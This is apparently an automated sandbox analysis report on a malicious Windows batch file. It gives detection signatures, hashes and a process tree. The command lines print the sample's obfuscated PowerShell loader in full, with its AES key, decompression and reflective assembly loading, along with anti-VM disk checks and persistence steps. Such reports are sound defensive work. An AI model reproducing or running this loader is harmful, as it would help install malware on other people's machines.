Edit tour
Windows
Analysis Report
NhoqAfkhHL.bat
Overview
General Information
| Sample name: | NhoqAfkhHL.batrenamed because original name is a hash value |
| Original sample name: | c62dff3f1b1b032ddb7e089b6e56cfcd27082d62a9627dec4ec8f2423175b750.bat |
| Analysis ID: | 1571318 |
| MD5: | 98f30844747b3b14f19b6127df1765dc |
| SHA1: | 2441d2660c67e64784c729732553779b952a8296 |
| SHA256: | c62dff3f1b1b032ddb7e089b6e56cfcd27082d62a9627dec4ec8f2423175b750 |
| Tags: | batcapacity-sg-gl-at-ply-gguser-JAMESWT_MHT |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
System process connects to network (likely due to code injection or exploit)
.NET source code references suspicious native API functions
AI detected suspicious sample
Connects to many ports of the same IP (likely port scanning)
Contains functionality to compare user and computer (likely to detect sandboxes)
Contains functionality to inject code into remote processes
Creates a thread in another existing process (thread injection)
Found large BAT file
Hides that the sample has been downloaded from the Internet (zone.identifier)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Installs a global keyboard hook
Installs new ROOT certificates
Machine Learning detection for dropped file
Modifies the context of a thread in another process (thread injection)
Powershell drops PE file
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Suspicious command line found
Suspicious powershell command line found
Uses schtasks.exe or at.exe to add and modify task schedules
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Drops certificate files (DER)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (may stop execution after accessing registry keys)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file does not import any functions
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Uncommon Svchost Parent Process
Stores large binary data to the registry
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
cmd.exe (PID: 2452 cmdline: C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\NhoqA fkhHL.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5596 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
WMIC.exe (PID: 3160 cmdline: wmic diskd rive get M odel MD5: C37F2F4F4B3CD128BDABCAEB2266A785) 
findstr.exe (PID: 3716 cmdline: findstr /i /c:"QEMU HARDDISK" /c:"DADY H ARDDISK" / c:"WDS100T 2B0A" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - cmd.exe (PID: 1988 cmdline:
cmd.exe /c echo func tion PChco ($juOOu){ $nHZjS=[Sy stem.Secur ity.Crypto graphy.Aes ]::Create( ); $nHZjS. Mode=[Syst em.Securit y.Cryptogr aphy.Ciphe rMode]::CB C; $nHZjS. Padding=[S ystem.Secu rity.Crypt ography.Pa ddingMode] ::PKCS7; $ nHZjS.Key= [System.Co nvert]::Fr omBase64St ring('yR7w F+Ofc2fLpX ZpHqhjqpLk vTMSNK6OFo tDyrTmTgI= '); $nHZjS .IV=[Syste m.Convert] ::FromBase 64String(' yXVdOaRolG 4gnbUzIyqL 8w=='); $i fjSd=$nHZj S.CreateDe cryptor(); $kfQiQ=$i fjSd.Trans formFinalB lock($juOO u, 0, $juO Ou.Length) ; $ifjSd.D ispose(); $nHZjS.Dis pose(); $k fQiQ;}func tion QsuOu ($juOOu){ Invoke-Exp ression '$ FPPmA=New- Object *S* y*s*t*e*m* .*I*O*.M*e m*or*yS*tr *ea*m(,$ju OOu);'.Rep lace('*', ''); Invok e-Expressi on '$JwqOr =New-Objec t *S*y*s*t *e*m*.*I*O *.*M*e*m*o *r*y*S*t*r *e*a*m*;'. Replace('* ', ''); In voke-Expre ssion '$zX HyN=New-Ob ject S*y*s *t*e*m*.*I *O*.C*om*p r*e*ss*io* n.*GZ*ip*S t*re*am*($ FPPmA, [IO .C*om*pr*e s*si*on*.C o*mp*re*ss *i*o*n*Mod e]::D*e*c* omp*re*ss) ;'.Replace ('*', ''); $zXHyN.Co pyTo($JwqO r); $zXHyN .Dispose() ; $FPPmA.D ispose(); $JwqOr.Dis pose(); $J wqOr.ToArr ay();}func tion ncxgW ($juOOu,$D oZwZ){ Inv oke-Expres sion '$tPE Qt=[*S*y*s *t*e*m*.*R *e*fl*ect* io*n.*As*s e*mb*l*y*] ::L*o*a*d* ([byte[]]$ juOOu);'.R eplace('*' , ''); Inv oke-Expres sion '$Cmu bR=$tPEQt. *E*n*t*r*y *P*o*i*n*t *;'.Replac e('*', '') ; Invoke-E xpression '$CmubR.*I *n*v*o*k*e *($null, $ DoZwZ);'.R eplace('*' , '');}$TY RmI = 'C:\ Users\user \Desktop\N hoqAfkhHL. bat';$host .UI.RawUI. WindowTitl e = $TYRmI ;$ZUcIA=[S ystem.IO.F ile]::Read AllText($T YRmI).Spli t([Environ ment]::New Line);fore ach ($gNOP j in $ZUcI A) { if ($ gNOPj.Star tsWith('HV GSF')) { $ AqOVs=$gNO Pj.Substri ng(5); bre ak; }}$sLT It=[string []]$AqOVs. Split('\') ;Invoke-Ex pression ' $daZ = Qsu Ou (PChco ([*C*o*n*v *e*r*t]::* F*r*o*m*B* a*s*e*6*4* S*tr*i*n*g ($sLTIt[0] .Replace(" #", "/").R eplace("@" , "A")))); '.Replace( '*', '');I nvoke-Expr ession '$E Ti = QsuOu (PChco ([ *C*o*n*v*e *r*t]::*F* r*o*m*B*a* s*e*6*4*S* tr*i*n*g($ sLTIt[1].R eplace("#" , "/").Rep lace("@", "A"))));'. Replace('* ', '');Inv oke-Expres sion '$gpc = QsuOu ( PChco ([*C *o*n*v*e*r *t]::*F*r* o*m*B*a*s* e*6*4*S*tr *i*n*g($sL TIt[2].Rep lace("#", "/").Repla ce("@", "A "))));'.Re place('*', '');ncxgW $daZ $nul l;ncxgW $E Ti $null;n cxgW $gpc (,[string[ ]] ('')); MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) 
powershell.exe (PID: 6548 cmdline: powershell .exe -Wind owStyle Hi dden MD5: 04029E121A0CFA5991749937DD22A1D9) - dllhost.exe (PID: 5068 cmdline:
C:\Windows \System32\ dllhost.ex e /Process id:{a30b26 c3-fc52-41 30-ba13-51 3d17912584 } MD5: 08EB78E5BE019DF044C26B14703BD1FA) 
winlogon.exe (PID: 564 cmdline: winlogon.e xe MD5: F8B41A1B3E569E7E6F990567F21DCE97) - dllhost.exe (PID: 4668 cmdline:
C:\Windows \System32\ dllhost.ex e /Process id:{239b6a 72-1bca-4e f7-9072-2b 3f0dd0b0f5 } MD5: 08EB78E5BE019DF044C26B14703BD1FA) - svchost.exe (PID: 1944 cmdline:
C:\Windows \System32\ svchost.ex e -k Local ServiceNet workRestri cted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1952 cmdline:
C:\Windows \system32\ svchost.ex e -k Local ServiceNet workRestri cted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 2024 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s S hellHWDete ction MD5: B7F884C1B74A263F746EE12A5F7C9F6A) 
spoolsv.exe (PID: 2096 cmdline: C:\Windows \System32\ spoolsv.ex e MD5: 0D4B1E3E4488E9BDC035F23E1F4FE22F) - svchost.exe (PID: 2188 cmdline:
C:\Windows \system32\ svchost.ex e -k Local ServiceNet workRestri cted -p -s WinHttpAu toProxySvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 2204 cmdline:
C:\Windows \System32\ svchost.ex e -k Netwo rkService -p -s Lanm anWorkstat ion MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - lsass.exe (PID: 640 cmdline:
C:\Windows \system32\ lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A) - svchost.exe (PID: 2440 cmdline:
C:\Windows \system32\ svchost.ex e -k Netwo rkService -p -s Cryp tSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 924 cmdline:
C:\Windows \system32\ svchost.ex e -k DcomL aunch -p - s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - dwm.exe (PID: 992 cmdline:
"dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C) - svchost.exe (PID: 444 cmdline:
C:\Windows \system32\ svchost.ex e -k netsv cs -p -s g psvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 732 cmdline:
C:\Windows \System32\ svchost.ex e -k Local ServiceNet workRestri cted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1032 cmdline:
C:\Windows \System32\ svchost.ex e -k Local SystemNetw orkRestric ted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1056 cmdline:
C:\Windows \system32\ svchost.ex e -k Local ServiceNet workRestri cted -p -s TimeBroke rSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1068 cmdline:
C:\Windows \system32\ svchost.ex e -k netsv cs -p -s S chedule MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1148 cmdline:
C:\Windows \system32\ svchost.ex e -k netsv cs -p -s P rofSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1188 cmdline:
C:\Windows \System32\ svchost.ex e -k Local ServiceNet workRestri cted -p -s EventLog MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1232 cmdline:
C:\Windows \system32\ svchost.ex e -k netsv cs -p -s U serManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1324 cmdline:
C:\Windows \system32\ svchost.ex e -k Local Service -p -s nsi MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1384 cmdline:
C:\Windows \system32\ svchost.ex e -k Local Service -p -s DispBr okerDeskto pSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1416 cmdline:
C:\Windows \system32\ svchost.ex e -k Local ServiceNet workRestri cted -p -s Dhcp MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1424 cmdline:
C:\Windows \system32\ svchost.ex e -k Local Service -p -s EventS ystem MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1460 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s T hemes MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1612 cmdline:
C:\Windows \system32\ svchost.ex e -k netsv cs -p -s S ENS MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1660 cmdline:
C:\Windows \System32\ svchost.ex e -k Local SystemNetw orkRestric ted -p -s AudioEndpo intBuilder MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1688 cmdline:
C:\Windows \System32\ svchost.ex e -k Netwo rkService -p -s NlaS vc MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1700 cmdline:
C:\Windows \system32\ svchost.ex e -k Local Service -p -s FontCa che MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1820 cmdline:
C:\Windows \System32\ svchost.ex e -k Local Service -p -s netpro fm MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1836 cmdline:
C:\Windows \System32\ svchost.ex e -k Local ServiceNet workRestri cted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1936 cmdline:
C:\Windows \system32\ svchost.ex e -k Netwo rkService -p -s Dnsc ache MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - cmd.exe (PID: 1276 cmdline:
"C:\Window s\System32 \cmd.exe" /C type C: \Users\use r\Desktop\ NhoqAfkhHL .bat>C:\Wi ndows\$rbx -onimai2\$ rbx-CO2.ba t MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5560 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 2820 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\Wind ows\$rbx-o nimai2\$rb x-CO2.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 1784 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - WMIC.exe (PID: 5292 cmdline:
wmic diskd rive get M odel MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - findstr.exe (PID: 6348 cmdline:
findstr /i /c:"QEMU HARDDISK" /c:"DADY H ARDDISK" / c:"WDS100T 2B0A" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - cmd.exe (PID: 5908 cmdline:
cmd.exe /c echo func tion PChco ($juOOu){ $nHZjS=[Sy stem.Secur ity.Crypto graphy.Aes ]::Create( ); $nHZjS. Mode=[Syst em.Securit y.Cryptogr aphy.Ciphe rMode]::CB C; $nHZjS. Padding=[S ystem.Secu rity.Crypt ography.Pa ddingMode] ::PKCS7; $ nHZjS.Key= [System.Co nvert]::Fr omBase64St ring('yR7w F+Ofc2fLpX ZpHqhjqpLk vTMSNK6OFo tDyrTmTgI= '); $nHZjS .IV=[Syste m.Convert] ::FromBase 64String(' yXVdOaRolG 4gnbUzIyqL 8w=='); $i fjSd=$nHZj S.CreateDe cryptor(); $kfQiQ=$i fjSd.Trans formFinalB lock($juOO u, 0, $juO Ou.Length) ; $ifjSd.D ispose(); $nHZjS.Dis pose(); $k fQiQ;}func tion QsuOu ($juOOu){ Invoke-Exp ression '$ FPPmA=New- Object *S* y*s*t*e*m* .*I*O*.M*e m*or*yS*tr *ea*m(,$ju OOu);'.Rep lace('*', ''); Invok e-Expressi on '$JwqOr =New-Objec t *S*y*s*t *e*m*.*I*O *.*M*e*m*o *r*y*S*t*r *e*a*m*;'. Replace('* ', ''); In voke-Expre ssion '$zX HyN=New-Ob ject S*y*s *t*e*m*.*I *O*.C*om*p r*e*ss*io* n.*GZ*ip*S t*re*am*($ FPPmA, [IO .C*om*pr*e s*si*on*.C o*mp*re*ss *i*o*n*Mod e]::D*e*c* omp*re*ss) ;'.Replace ('*', ''); $zXHyN.Co pyTo($JwqO r); $zXHyN .Dispose() ; $FPPmA.D ispose(); $JwqOr.Dis pose(); $J wqOr.ToArr ay();}func tion ncxgW ($juOOu,$D oZwZ){ Inv oke-Expres sion '$tPE Qt=[*S*y*s *t*e*m*.*R *e*fl*ect* io*n.*As*s e*mb*l*y*] ::L*o*a*d* ([byte[]]$ juOOu);'.R eplace('*' , ''); Inv oke-Expres sion '$Cmu bR=$tPEQt. *E*n*t*r*y *P*o*i*n*t *;'.Replac e('*', '') ; Invoke-E xpression '$CmubR.*I *n*v*o*k*e *($null, $ DoZwZ);'.R eplace('*' , '');}$TY RmI = 'C:\ Windows\$r bx-onimai2 \$rbx-CO2. bat';$host .UI.RawUI. WindowTitl e = $TYRmI ;$ZUcIA=[S ystem.IO.F ile]::Read AllText($T YRmI).Spli t([Environ ment]::New Line);fore ach ($gNOP j in $ZUcI A) { if ($ gNOPj.Star tsWith('HV GSF')) { $ AqOVs=$gNO Pj.Substri ng(5); bre ak; }}$sLT It=[string []]$AqOVs. Split('\') ;Invoke-Ex pression ' $daZ = Qsu Ou (PChco ([*C*o*n*v *e*r*t]::* F*r*o*m*B* a*s*e*6*4* S*tr*i*n*g ($sLTIt[0] .Replace(" #", "/").R eplace("@" , "A")))); '.Replace( '*', '');I nvoke-Expr ession '$E Ti = QsuOu (PChco ([ *C*o*n*v*e *r*t]::*F* r*o*m*B*a* s*e*6*4*S* tr*i*n*g($ sLTIt[1].R eplace("#" , "/").Rep lace("@", "A"))));'. Replace('* ', '');Inv oke-Expres sion '$gpc = QsuOu ( PChco ([*C *o*n*v*e*r *t]::*F*r* o*m*B*a*s* e*6*4*S*tr *i*n*g($sL TIt[2].Rep lace("#", "/").Repla ce("@", "A "))));'.Re place('*', '');ncxgW $daZ $nul l;ncxgW $E Ti $null;n cxgW $gpc (,[string[ ]] ('')); MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 5008 cmdline:
powershell .exe -Wind owStyle Hi dden MD5: 04029E121A0CFA5991749937DD22A1D9) - schtasks.exe (PID: 3868 cmdline:
"C:\Window s\System32 \schtasks. exe" /Dele te /TN "$r bx-CNT1" / F MD5: 76CD6626DD8834BD4A42E6A565104DC2) - conhost.exe (PID: 1172 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||